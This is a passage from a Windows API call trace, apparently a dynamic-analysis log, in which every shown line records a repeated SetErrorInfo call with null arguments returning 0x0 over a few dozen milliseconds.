(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.083] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.084] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.085] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.085] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.085] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.085] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.085] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.086] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.087] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.088] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.089] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.092] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.093] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.094] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.095] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.096] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.097] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.098] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.099] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.100] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.101] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.103] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.104] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.105] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.106] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.107] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.108] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.109] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.110] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.111] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.112] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.113] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.114] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.116] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.119] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo 